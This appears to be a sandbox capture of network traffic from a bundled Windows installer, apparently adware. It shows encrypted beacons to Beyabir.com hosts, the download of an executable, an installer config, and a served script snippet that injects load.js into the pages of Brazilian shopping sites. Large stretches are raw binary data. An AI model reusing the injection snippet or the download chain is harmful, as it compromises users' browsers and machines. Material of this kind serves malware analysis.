D..*.L...< ..2B^E."..A.......{&=-.^. 0..V.GK.s..|...........jS.r..[......r.p..mt.Z6.*..J.A..3..[W...G...lT;:...4........d...e....V..k.....wh.H...#....[....h..J...{.
.Jep..).....t..&].=..}.p

...,.][.................G(.m...QMx......7.K.d..={...;.R^...q...4.%C..FX......3.

...........b..0..[.....{..([email protected]....*a.|.`..H.3.M...>..-.7:.yD.4.b8_.Hr.Wg..5.%.o.}]d.A....l..J"q.r.
6..@ %$j8.{....}B./
.5.d.XT.u*.....o
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Tue, 13 Oct 2015 05:09:32 GMT

Server: TornadoServer/4.0.2

Content-Length: 4

Connection: keep-alive
DONEHTTP/1.1 200 OK..Content-Type: text/html; charset=UTF-8..Date: Tue
, 13 Oct 2015 05:09:32 GMT..Server: TornadoServer/4.0.2..Content-Lengt
h: 4..Connection: keep-alive..DONE..

GET /s9.g?login=pcoffern&jv=y&j=y&srw=1276&srb=32&l= HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/prot_link/pr.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: e0.extreme-dm.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Tue, 13 Oct 2015 05:09:38 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

Cache-Control: private,no-cache,no-store

Pragma: no-cache

Expires: Mon, 28 Sep 1970 06:00:00 GMT
GIF89a.............!.......,...........L..;..

GET /ironsrc_prot.png?nocache=1 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: desprotetordelinks.me

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 13 Oct 2015 05:09:32 GMT

Content-Type: image/png

Content-Length: 14566

Connection: keep-alive

Last-Modified: Mon, 16 Mar 2015 23:54:21 GMT

ETag: "5720b2-38e6-5117091a3e540"

X-Cache: MISS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

Accept-Ranges: bytes
.PNG........IHDR...&.........2.K.....pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /root.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: crl.globalsign.net

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Date: Tue, 13 Oct 2015 05:09:38 GMT

Content-Type: application/pkix-crl

Content-Length: 649

Connection: keep-alive

Set-Cookie: __cfduid=dd5b2f6b87ebf9d226ca0b39398e8602e1444712978; expires=Wed, 12-Oct-16 05:09:38 GMT; path=/; domain=.globalsign.net; HttpOnly

Last-Modified: Wed, 07 Oct 2015 00:00:00 GMT

ETag: "56146080-289"

CF-Cache-Status: HIT

Expires: Sat, 17 Oct 2015 05:09:38 GMT

Cache-Control: public, max-age=345600

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 23488892065b072b-AMS
0...0..m...0...*.H........0W1.0...U....BE1.0...U....GlobalSign nv-sa1.
0...U....Root CA1.0...U....GlobalSign Root CA..151007000000Z..16011500
0000Z0..0*.........D.....141125000000Z0.0...U.......0*........)E.....1
41125000000Z0.0...U.......0*........ ...h..141125000000Z0.0...U.......
0*........,^.....141125000000Z0.0...U......../0-0...U......20...U.#..0
...`{f.E....P/}..4....K0...*.H.............<.............&..,t...[.
.:.A..*.H..w........=.E.{(-ekb..?.....y....k..e..59B>Z....O`.].`!..
....7....I.^..T..e.[..K.....V.4B.U.B.!........R....... ..07b...j..c.".
.%[..o..i..I..A^......O$..R.2.....v"....*...9...ueET....xz..R.Gm....-.
..r.[..s......;,..`.W...8HTTP/1.1 200 OK..Date: Tue, 13 Oct 2015 05:09
:38 GMT..Content-Type: application/pkix-crl..Content-Length: 649..Conn
ection: keep-alive..Set-Cookie: __cfduid=dd5b2f6b87ebf9d226ca0b39398e8
602e1444712978; expires=Wed, 12-Oct-16 05:09:38 GMT; path=/; domain=.g
lobalsign.net; HttpOnly..Last-Modified: Wed, 07 Oct 2015 00:00:00 GMT.
.ETag: "56146080-289"..CF-Cache-Status: HIT..Expires: Sat, 17 Oct 2015
 05:09:38 GMT..Cache-Control: public, max-age=345600..Accept-Ranges: b
ytes..Server: cloudflare-nginx..CF-RAY: 23488892065b072b-AMS..0...0..m
...0...*.H........0W1.0...U....BE1.0...U....GlobalSign nv-sa1.0...U...
.Root CA1.0...U....GlobalSign Root CA..151007000000Z..160115000000Z0..
0*.........D.....141125000000Z0.0...U.......0*........)E.....141125000
000Z0.0...U.......0*........ ...h..141125000000Z0.0...U.......0*......
..,^.....141125000000Z0.0...U......../0-0...U......20...U.#..0...`
<<< skipped >>>

GET /services/rules?dummy=671 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.related.deals

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 13 Oct 2015 05:09:47 GMT

Content-Type: text/plain

Connection: close

P3P: CP="Potato"

X-Cache: MISS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true
</body>|<script>var cb_instID='{instID}';cbS=document.crea
teElement("script");cbS.setAttribute("type","text/javascript");cbS.set
Attribute("src", "hXXp://related.deals/services/load.js");document.bod
y.appendChild(cbS);</script></body>.descontosofertas.com.b
r|xdescontosofertas.com.br.{cashReminder_instID}|{instID}...

GET /ruiwS HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: myredir.net

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:55 GMT

Content-Type: text/html

Content-Length: 185

Connection: keep-alive

Location: hXXp://VVV.trackpixl.com/prot_link/pr.php

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.0.15</center>..</body>..</html>..HTTP/
1.1 301 Moved Permanently..Server: nginx/1.0.15..Date: Tue, 13 Oct 201
5 05:07:55 GMT..Content-Type: text/html..Content-Length: 185..Connecti
on: keep-alive..Location: hXXp://VVV.trackpixl.com/prot_link/pr.php..A
ccess-Control-Allow-Origin: *..Access-Control-Allow-Headers: X-Request
ed-With..Access-Control-Allow-Credentials: true..<html>..<hea
d><title>301 Moved Permanently</title></head>..&l
t;body bgcolor="white">..<center><h1>301 Moved Permanen
tly</h1></center>..<hr><center>nginx/1.0.15<
;/center>..</body>..</html>....

POST /?v=1.03&c=c80ec53b&at=620310157&cntr=0 HTTP/1.1

Accept: */*

Host: info.Beyabir.com

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Content-Length: 152

Cache-Control: no-cache

6l7GU7LYt04pVHc/00d7JsJnO6 uI/LdDVivhiUJ3FaPaKVt7EL1QMFgpFBTLcBFnXN/t4FI8ONqAbwf9zU r5JgcOd3fa4oENHIMGPyrzpVwwXS7YQArW6ztR Hd4vGWMob/aLADbEwQPPvMNQ0JA==
HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Tue, 13 Oct 2015 05:09:29 GMT

Content-Length: 940

Connection: keep-alive
0LIgm6yNW6xqbfm7WpLYpjjcmSbcW/lzOqZ8n0zgvf5mJr49Y48xe3QFOE525fdsv9D0rJ
bTFjtUjJtcs3MwMGKkoj4u8qcsk2maMdnJ4bfjSNf9LfGKjVxUkn57DPSfXchMVamb1439
97DWx4xbeaJE eZZH5lCQTZhpUZeXHaHRbn aF49qwo2bWQri/yFoHjNmBaDRiOwk2W6Ce
4VV8VW4RscaoNM57LQYeFvpOjx65mRmay7F9PeFRcI4Nu5ABV9YZGs9PAHWomDrdg6YtY5
HwOovMmmowXKM8NJF dzDGB73Iyd2LMgliP82ZLLp4ufIzaLsVGk0/NNQf90fjuzxiAGm5
pxmGoL62FvZqwVMKZ/Nn94WM9GylYrL8qc4vL9l2FvZojFIBNT31qh J Fnxt Y9la6dhY
F1cwdZ P/el4AiQIgDPAvF9J26LpyCA6XHLGrgore4dUwPEXFMAtECUAjvLDR6SEAKoB U
M27IeCdCWRGEjmmbsO5ZeapsuamZpxrUtoMdJyg1isKP1jDemybVGdBb8xG2rUb/DpZE/d
sdEEbabxv8tKQU4CaHrTyGru3x8Zly1y9nY78xKf6FFIKZYj6DOcFmtkhW7qtAPh8x9kXP
L0Gk9fYw8cwTLMo41Ko31Q780nxNi3e7aop17iuiWNxadS0L7uwukuV3n xAYsDGdSVGFV
QqupE5DjsqPdzPqbRLqYbcnqErxvyr2NpVJ4dlD0DtDY8W27SpGmkVrOo9/CdShYcOs UJ
GmdJDzNf/wASNFlg1eaXhePcmTfg8n72HJJ3z9TuAYLMXKq5AyUVz9ooqi/Rc2FSpI22T/
ncujltMT3ogRKRZOpeiZckVvYzSHG/8wfYaueksWh1qaSGQhup zMBUabjRaUfwXdIIp3E
SBuvMkod299tAlaNeBv4V mDEyFbY=HTTP/1.1 200 OK..Access-Control-Allow-Or
igin: *..Date: Tue, 13 Oct 2015 05:09:29 GMT..Content-Length: 940..Con
nection: keep-alive..0LIgm6yNW6xqbfm7WpLYpjjcmSbcW/lzOqZ8n0zgvf5mJr49Y
48xe3QFOE525fdsv9D0rJbTFjtUjJtcs3MwMGKkoj4u8qcsk2maMdnJ4bfjSNf9LfGKjVx
Ukn57DPSfXchMVamb143997DWx4xbeaJE eZZH5lCQTZhpUZeXHaHRbn aF49qwo2bWQri
/yFoHjNmBaDRiOwk2W6Ce4VV8VW4RscaoNM57LQYeFvpOjx65mRmay7F9PeFRcI4Nu5ABV
9YZGs9PAHWomDrdg6YtY5HwOovMmmowXKM8NJF dzDGB73Iyd2LMgliP82ZLLp4ufIzaLs
VGk0/NNQf90fjuzxiAGm5pxmGoL62FvZqwVMKZ/Nn94WM9GylYrL8qc4vL9l2FvZojFIBN
T31qh J Fnxt Y9la6dhYF1cwdZ P/el4AiQIgDPAvF9J26LpyCA6XHLGrgore4dUw
<<< skipped >>>

GET /f.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/extreme.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: t1.extreme-dm.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Tue, 13 Oct 2015 05:09:28 GMT

Content-Type: application/javascript

Content-Length: 1864

Last-Modified: Mon, 20 Jul 2015 18:58:09 GMT

Connection: close

ETag: "55ad44c1-748"

Content-Encoding: gzip

Expires: Tue, 13 Oct 2015 06:09:28 GMT

Cache-Control: max-age=3600
.....D.U..f.js...mo.:..........P.H.m..;r. @....W...;.!O$...........Yi#
E....}...;.)..M...42...9....W....f.,.x...e8~...k.O...%.).B.a..B.......
. ..I...F....Y.8.P.n.5....U._..2..p.%.Wk..$..aV...;.a..Z.C|...e...F.*.
^FS&..~..I..K=..l.8&,...X.,......y.5h.p9......d.7..E./..~c.....*...S..
......['.b...?.ou.?..j=.W}......HB..G_a..,..mYz..o..<Y....}.z..z..2
....`U.B...A....l.8.-L4&...q..&..}A.EA....x.........BY...~Y... ..@W>
;W.a.l..S. .....z.u..c.........H.../ ..3. .MB...s.../.p0..`l...W".=.T.
{e..T`..........cge...v.1..X.B..4I..!..d...p.&/fdE..b-.....d....)..co.
[email protected].^.....5][...Z. LY8.&..c...Yd...zh........&M.Q...].T...~...-...f.=
.Nt.O.q......o.....<jGs.u.j....5o...)n6.s......V.y}.f.2|P.!.....#..
..\.6..Q........,m.cc.8...(... .b.E....9.2..3.yC..'....Qw..~...j.m.M..
.^..I.8._.'.J.`....X.N{..i...n...q.^.........Ur.)U.N.x....Z......}.O..
..:..T3]..q...4z./.....T9xC.C..)M...r:[email protected]'#..Tu.[.....
...C.^.....LQ,_.y.^.g:X.Ef........O.P.J...y19.......E.t.l..8).%..d.Gx.
....M.....|..L bk....n..Aw..E{...w.e.Ra[P..t9....e..h....khZ.:....l.{r
.......r...n...........................1.u..D.c..$g6.J.}9.IaO.qg..4g..
....A.y....j.t.P:k/Q((&.k.h...N...L.........Y.9 ..q.4....X.:."{h.....F
koh........4U...' 7.!....([email protected]..>......9T.J|)Lk>
;......X3-z%..r...0Sw.H7@i...>v.@S...[...W....i4.).c~.uDP. &...n*8]
....$...h:[email protected].)?.W).D.N....wy&Q...]....$R..v..S0k.b......J.....v8..
....m...u[.t...8m$0.V..C[k:.&.....g&?xJ.............M....k...b..M...t.
.&P@.)A.....L.H~2.//...-......8....8ZdO..z.C..Bzb'}.........}.M2..
<<< skipped >>>

GET /desprotetor_stp_2.exe HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)

Host: VVV.firstreq.me

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:08:06 GMT

Content-Type: application/octet-stream

Content-Length: 32611

Last-Modified: Tue, 13 Oct 2015 05:08:02 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......................................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc................v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>

POST /?pcrc=283731752&v=2.0 HTTP/1.1

Accept: */*

Host: rp.Beyabir.com

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Content-Length: 1808

Cache-Control: no-cache

...3E.Q)_l.y...K8....r.=4p.........OL..6_/r..
.....5.......n(..M.S.

.\.>
.,. N...N.THP.iN...z._E.}wI....w........{.........%.a$@...../.j..7...g-g..v..........gN....vf..(.l..D.`G.n)v...[:Gp9A..5..^[email protected]*[email protected][..-...P...lm..s\ Ad.u^A.....6....m.!.. .K.....U.7..?.z..i.T}c!L<..#..YN...N.e0..q...].H........N.....=................F...L.1.FI..[^[...

..X$....5..$=..
....Y%}.N..J...D._....}.j5....1....Vb.&!6J...=.......h..U)...|.p.=.i.Q..r|..1ed6.J.....x./."....tt.*.V.).LK.....#.-...X.k..J./&.1...gn.KU.......~.?Y...^....v......... .....mT$.t5....c..0A46F..T..Locl........J....Cam....4.:@.C{.u........V`.>.v...T..4GKv.~M.A.d....n=..Z.NO.q.Cd^c.....gJ...w.Yz.r.x.Q.Y...Wz.k...,.V..b(.u.<Q*.d..k.w;Sa.wD....gg_.w..y :.$.~S.......&.K.......\r.>...I......o./.Lt ...2d.........8.|(.,.:..$ .....7...Q..!8A7.ke.^..(.(Ng.SS...M=...}.....`...(...'.#s.{.I<.B..*".o...l\...[.hB.dw...H...M...<..T..=.^..'..N....t.l6..i..<N..;...P..O.......*0.:S..U<K......r.....n#d.S..= [email protected]^.P(.q....O..a...d7.5._<&.B.....O..<n{o.[..#c.....1..1p.....$.H....E...2.[.0mm.R.,....?.%.....C...e............

[email protected]...

...z..4.... '7f..>.."a.h.U.RWzc....(..p..W>....h\.no.....Ez...F.6>...gB..D3.L..c<....n1..t.m.O....V.Y.W..Px.p...s.....

...X...F..9...~. .....T."..:..c....
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Tue, 13 Oct 2015 05:09:32 GMT

Server: TornadoServer/4.0.2

Content-Length: 4

Connection: keep-alive
DONEHTTP/1.1 200 OK..Content-Type: text/html; charset=UTF-8..Date: Tue
, 13 Oct 2015 05:09:32 GMT..Server: TornadoServer/4.0.2..Content-Lengt
h: 4..Connection: keep-alive..DONE..

GET /static/a/266759/video-icon.png HTTP/1.1

Accept: */*

Referer: hXXp://northstar.91dc213c6e2b.api.socdn.com/ui/1yosgi/en

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: DownloadMR/3.1.50 (MSIE 6.0;Windows NT 5.1 SP 3;.NET CLR 2.0.50727 SP1; .NET CLR 3.0 SP1; .NET CLR 3.5 SP0; .NET CLR 4;DB Microsoft. Windows. Operating System 6;m=VMware Virtual Platform;u=adm;northstar;48a77bc8-072a-aeed-86f6-4ddda6a39bf3)

Host: VVV.lbride.com

Connection: Keep-Alive

HTTP/1.1 200 Not Modified

Server: nginx/1.7.10

Date: Tue, 13 Oct 2015 05:09:45 GMT

Content-Type: image/png

Content-Length: 32806

Connection: keep-alive

Keep-Alive: timeout=20

Last-Modified: Sat, 25 Jun 2011 07:20:31 GMT

Expires: Wed, 12 Oct 2016 05:09:45 GMT

Cache-Control: max-age=31536000

Accept-Ranges: bytes

Cache-Control: public
.PNG........IHDR.............\r.f....IDATx....|...>.l...*V.%.".7l.l
0....&....K.'y..$..$op.)...!.bBL..c..lK.%K.z/......{ggwvwV.* {.O...3;{
g..g.s...J........xW &1...I..b...Xb............<....$&.... &19.%..1
..y,[email protected]..........&...<AV.d)#......3.u......L !.
.....gd..lB_....._. |>........L !..Y\|B.....H$..=0........G..[...#.
]..D...`..../.6......$R)YK.ZJ.v......B.z. ..6.U.80`[email protected]..%&.#1.. B..Z
..t..B..S...@.[K..H|....A......v.S.".d...y,1......'O..N.. ..({..sL@...
c..`..c&CWg.c.>a.D...w..7&c'1...B..j..4 [email protected](.p..!..xs!
.P<.%..Q...?-5...D.;...b.~V ...... [email protected]..........
.."...g.bF..ntwup...PdK..&... ..(..Y...&B&........}v.....J....b..I....
.PP.0...@....#.P<.$..Q,.......ss2....r.E.........C.U..C.T.EA.Ah.dL.
..h....U...B(.H..r......a.B.......(...?{..h.Z..T..V ....CJ.)\[email protected].
.F..41)..>.}v...V46.....M....[.? .d..l....P..X.r.J...T..?..n...K...
[email protected]\s#../.=.C}.........?...... .d........a....
@...._.x.rrr...d6a......P..].I.......`[email protected].....{.l6
HD......C.9..Gb...B..z}...o..{[email protected].<d.....J .I..n.XU..i3
.....jN.D.1...(.MF...0'...qh!.B.A..8....(....deX.n=.O....2.....I...--h
mmAcc..{....={6...J....0bu.%oof........O..X.d.........J.9.GAb..eB..g..
...xh....z<p{.=.n..... hni......s.........2ju.....u.........b...!..
.1."...1...I...H|o....^..h.R.4T.5......;.[..!`oN/0.d..r....w(64.s=.<
;3...p. p(..dd..h.r.C.g.1..0%..Q$..O...{...j...../....a.......3HNJFZz.
.^G5...8.#....!... d.......!J...H...Y..... Ws......V~.}.......L6..
<<< skipped >>>

POST /details HTTP/1.1

Accept: */*

Host: giserv.Beyabir.com

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Content-Length: 7

Cache-Control: no-cache

foo=bar
HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Content-Type: application/json

Date: Tue, 13 Oct 2015 05:25:01 GMT

Server: TornadoServer/3.2

Content-Length: 306

Connection: keep-alive
{"city": null, "region_code": null, "ip": "194.242.96.218", "area_code
": 0, "time_zone": null, "dma_code": 0, "metro_code": null, "country_c
ode3": "UKR", "latitude": 50.44999999999999, "postal_code": null, "lon
gitude": 30.523300000000006, "country_code": "UA", "country_name": "Uk
raine", "continent": "EU"}HTTP/1.1 200 OK..Access-Control-Allow-Origin
: *..Content-Type: application/json..Date: Tue, 13 Oct 2015 05:25:01 G
MT..Server: TornadoServer/3.2..Content-Length: 306..Connection: keep-a
live..{"city": null, "region_code": null, "ip": "194.242.96.218", "are
a_code": 0, "time_zone": null, "dma_code": 0, "metro_code": null, "cou
ntry_code3": "UKR", "latitude": 50.44999999999999, "postal_code": null
, "longitude": 30.523300000000006, "country_code": "UA", "country_name
": "Ukraine", "continent": "EU"}..

GET /ca1-tsa.cer HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: aia1.wosign.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/pkix-cert

Date: Tue, 13 Oct 2015 05:09:39 GMT

ETag: "555f0960-57a"

Last-Modified: Fri, 22 May 2015 10:48:00 GMT

Server: nginx/1.5.13

Content-Length: 1402

Connection: keep-alive
0..v0..^.......^h..q.cPV.h.>...0...*.H........0U1.0...U....CN1.0...
U....WoSign CA Limited1*0(..U...!Certification Authority of WoSign0...
090808010001Z..390808010001Z0U1.0...U....CN1.0...U....WoSign CA Limite
d1*0(..U...!Certification Authority of WoSign0.."0...*.H.............0
...............V.{k\z..k.....#.....1.>..)o.=.k..@_.9..z..MT}."x....
......Kt..~......I(D...2.%.S.........q'......gh..]..]p.....SA.....6fz~
V.._..h 6..$,,G.Yvf0..........0.....,.....(..T....v..h..Jl.........\..
~.2.^..*B..N..Y..z~...Z....i..'.{..T..{..TzQhnw...RJfF..g...Ow..]..V.C
rw.....9........./0B7!.0p.....XM..}...7...2..:cq$..7..t.7....F`...?P6.
.z..bjn..j!Zi....p9...n......;q..R.....w..o.B.mJ..4H......"..1.?.>.
. y...dd.1...R..Ei..*.U...FK.J..[9(.......HK&.0L.X..D.O...3..........q
).vO.%...../..../'.J....|[email protected]....
...0....0...U.......f.....K.. ........>0...*[email protected].~
{..d.2{.<.]F..,.p]....}...!..Y$.....}.#.4..|r....T..Rp....;.:.2.!9.
....Oj...?/|.X...9.>.=Js.@z. a.g..$..mU,Z..%r.....Ub...c.aD#.......
.M..#N!.[9[W./].^.y.|..M......y.3....0.>...C?.Z..D..|.H.3.......>
;.]q....t.aY...Z..r..]6....<[email protected]{,.V.G......!..f
..%0.\...g..m....O...'........H......>LQ:.......&.:...i...)dQoh....
A.........=..h..g..`.U.a.W|...aI:.u....?g...(.1..W...|..~.....6|[~'.z.
....R...Tp1.C....>..~0dP....3gMhO..........%:..Y..\F.g,.F..H..[...Q
......7"... t.-..k....!..y.D.........
<<< skipped >>>

HEAD /solimba.exe HTTP/1.1

Accept: */*

Host: VVV.firstreq.me

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0; ICDM 2.1)

Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:48 GMT

Content-Type: application/octet-stream

Content-Length: 217928

Last-Modified: Thu, 24 Sep 2015 18:18:12 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Accept-Ranges: bytes

GET /services/stores?dummy=164 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.related.deals

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 13 Oct 2015 05:09:47 GMT

Content-Type: text/html

Connection: close

P3P: CP="Potato"

X-Cache: MISS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true
related.deals.aliexpress.com.viagens.americanas.com.br.americanas.com.
br.amomuito.com.azulviagens.com.br.epocacosmeticos.com.br.casasbahia.c
om.br.catho.com.br.centauro.com.br.citylar.com.br.colcci.com.br.colomb
o.com.br.cvc.com.br.dafiti.com.br.dx.com.decolar.com.extra.com.br.fast
shop.com.br.fnac.com.br.forum.com.br.girafa.com.br.voegol.com.br.insin
uante.com.br.kanui.com.br.lenovo.com.br.livrariacultura.com.br.lojaskd
.com.br.lojasrenner.com.br.magazineluiza.com.br.marisa.com.br.megamamu
te.com.br.mobly.com.br.netshoes.com.br.oppa.com.br.polishop.com.br.pon
tofrio.com.br.posthaus.com.br.ricardoeletro.com.br.rihappy.com.br.sams
club.com.br.saraiva.com.br.sepha.com.br.sephora.com.br.shopfato.com.br
.shoptime.com.br.submarino.com.br.submarinoviagens.com.br.tam.com.br.w
almart.com.br...

GET /installer/55d5c153-258c-45c9-8491-62040a000141/118729746/config HTTP/1.1

User-Agent: DownloadMR/3.1.50 (MSIE 6.0;Windows NT 5.1 SP 3;.NET CLR 2.0.50727 SP1; .NET CLR 3.0 SP1; .NET CLR 3.5 SP0; .NET CLR 4;DB Microsoft. Windows. Operating System 6;m=VMware Virtual Platform;u=adm;northstar;48a77bc8-072a-aeed-86f6-4ddda6a39bf3)

Accept-Language: en-US

Host: northstar.91dc213c6e2b.api.socdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: no-cache, private

Content-Type: application/json

Date: Tue, 13 Oct 2015 05:09:43 GMT

Server: nginx

Content-Length: 3449

Connection: keep-alive
{"Target":{"name":"Arquivo Para","url":"hXXp://VVV.firstreq.me/desprot
etor_stp_2.exe","icon":"hXXp://VVV.lbride.com/static/a/266759/video-ic
on.png","uuid":"55d5c153-258c-45c9-8491-62040a000141","checksum":null,
"fileName":"","types":[],"args":null},"SuggestedApps":[],"Config":{"id
":118729746,"maxsuggestedapps":10,"strings":{"setupWillClose":"The set
up will close. Do you want to exit the application?","stillDownloads-c
lose":"By cancelling now, your downloads/installations will be incompl
ete and some of the selected program(s) will not be downloaded/install
ed. Close?","stillDownloads":"By cancelling now, your downloads/instal
lations will be incomplete and some of the selected program(s) will no
t be downloaded/installed. Continue?","stillDownloadsUninstaller-close
":"By cancelling now, your downloads/installations will be incomplete 
and some of the selected program(s) will not be downloaded/installed. 
Close anyway?","stillDownloadsUninstaller":"By cancelling now, your do
wnloads/installations will be incomplete and some of the selected prog
ram(s) will not be downloaded/installed. Continue with the downloads?"
,"downloadError":"The file was not downloaded successfully. It is reco
mmended that you close the aplicaci\u00f3ny to retry the download.<
br>Attempt to execute all forms?","connectionError":"The connection
 failed. If you do not have Internet access at this time, try to compl
ete the installation later. If connections are available, it is possib
le that this product has expired.","noSauce":"DownloadMR without s
<<< skipped >>>

The Installer connects to the servers at the folowing location(s):

.idata

.rdata

P.reloc

P.rsrc

kernel32.dll

.DEFAULT\Control Panel\International

File I/O error %d

